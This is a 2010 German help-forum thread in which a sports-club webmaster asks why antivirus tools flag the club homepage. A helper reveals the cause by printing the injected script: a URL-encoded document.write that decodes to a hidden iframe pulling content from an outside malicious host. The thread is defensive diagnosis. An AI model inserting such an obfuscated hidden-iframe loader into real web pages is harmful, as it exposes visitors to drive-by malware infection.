Virus auf Homepage Startseite

DocOpa · 24.08.2010, 18:29

Schönen Guten Tag,

ich brauche euer Wissen den allein schaffe ich das nicht.
Was ist passiert.
Angeblich habe ich einen Virus auf der Startseite unserer HP.

h**p://tsv-windischleuba.de

Ein paar User meldeten mir das dort eine Virus angezeigt wird.
Bei mir wenn ich die Seite aufrufe nicht [Benutze Avast]

Zu Testzwecken habe ich mir jetzt mal einen Virenscanner installiert bei dem diese Meldung angezeigt werden soll.

Ich habe nun Kasperski 2011 als Testversion installiert und was muss ich sehen sobald ich die Seite aufrufe kommt diese Meldung.

h++p://www.fotos-hochladen.net/uploads/meldungni50l3u1.jpg

Ich habe keine Ahnung wie das kommen kann.

Ich hoffe das ihr mir weiter helfen könnt.

markusg · 24.08.2010, 18:44

was wird denn genau angezeigt?

DocOpa · 24.08.2010, 18:51

hxxp://www.bilder-space.de/show_img.php?img=8b1452-1282672158.jpg&size=original

Benutze mal diesen Link habe mal das aus der Meldung ausgeschnitten.

Hoffe es hilft dir weiter.

markusg · 24.08.2010, 19:04

hast du auf der seite den n bild gehostet? es ist auf jeden fall keins mehr unter dem link. hast du n backup deiner homepage?

DocOpa · 24.08.2010, 19:14

Also ich habe ein Backup von der Seite.

Du kannst das Bild nicht sehen ?

unter dem Link ?

www.bilder-space.de/show_img.php?img=8b1452-1282672158.jpg&size=original

Das Bild sollte die eigentlich zeigen was Kasperski meckert.

Habe das mal auf einen anderen Bildhoster geladen damit du siehst was er anzeigt.
Also wenn ich diese Zeile in den Browser kopiere zeigt er mir den Bildausschnitt an

www.bilder-upload.eu/show.php?file=A0kvH15vKKcZGYX.jpg

Alternativ dazu schreibe ich das mal hier rein.

programm: firefox - gefunden: HEUR:Trojan.Script.Iframer - hxxp://tsv-windischleuba.de/favicon.ico

Danke dir das du mir helfen willst !!!!!!

markusg · 24.08.2010, 19:22

hmm wenn ich das mal in den browser eingebe
tsv-windischleuba.de/favicon.ico
bekomme ich nen 404 not found.
ich hab jetzt auch mal in den code der index seite geschaut, dort sehe ich auch nichts, kommt die meldung gleich bei der index page?

DocOpa · 24.08.2010, 19:26

Ja und nur auf der Startseite.
Ich habe den Quelltext durchsucht, ich habe meinen Rechner durchsucht und auch die Page selbst und denoch finde ich keine favicon.ico und dennoch kommt diese Meldung wenn ich die Seite aufrufe.

Ich versteh es nicht

markusg · 24.08.2010, 19:27

ist denn auf dem server wo sich die page befindet solch eine datei?
was passiert wenn du n backup zurückspielst?

DocOpa · 24.08.2010, 19:38

Also auf dem Server ist keine solche Datei.
Und das Backup ändert auch nix.

Ich bin mit meinem Latein am Ende.

markusg · 24.08.2010, 19:41

ich sehe da auch im moment nichts.welche scanner schlagen noch an?

DocOpa · 24.08.2010, 19:45

AVG und Norton

markusg · 24.08.2010, 19:58

betreust du als einziger die seite? wie gesagt ich sehe da im mom nichts.

DocOpa · 24.08.2010, 20:00

Ja nur ich

markusg · 24.08.2010, 20:05

ich frag ma meine kolegen.

**Da GuRu** · 24.08.2010, 20:59

das ist dort versteckt:

HTML-Code:

<body><script> 
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%65%69%73%74%72%69%2E%6E%65%74%2F%6E%75%63%66%2F%69%6E%64%65%78%2E%70%68%70%22%20%68%65%69%67%68%74%3D%35%20%77%69%64%74%68%3D%35%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>

was überstzt heisst:

HTML-Code:

<iframe src="http://beistri.net/nucf/index.php" height=5 width=5 style="display:none"></iframe>

thats it

(kein fehlalarm)

24.08.2010, 18:44	#2
markusg /// Malware-holic	Virus auf Homepage Startseite was wird denn genau angezeigt? __________________

24.08.2010, 19:04	#4
markusg /// Malware-holic	Virus auf Homepage Startseite hast du auf der seite den n bild gehostet? es ist auf jeden fall keins mehr unter dem link. hast du n backup deiner homepage?

24.08.2010, 19:22	#6
markusg /// Malware-holic	Virus auf Homepage Startseite hmm wenn ich das mal in den browser eingebe tsv-windischleuba.de/favicon.ico bekomme ich nen 404 not found. ich hab jetzt auch mal in den code der index seite geschaut, dort sehe ich auch nichts, kommt die meldung gleich bei der index page?

24.08.2010, 19:27	#8
markusg /// Malware-holic	Virus auf Homepage Startseite ist denn auf dem server wo sich die page befindet solch eine datei? was passiert wenn du n backup zurückspielst?

24.08.2010, 19:41	#10
markusg /// Malware-holic	Virus auf Homepage Startseite ich sehe da auch im moment nichts.welche scanner schlagen noch an?

Virus auf Homepage Startseite

Plagegeister aller Art und deren Bekämpfung: Virus auf Homepage Startseite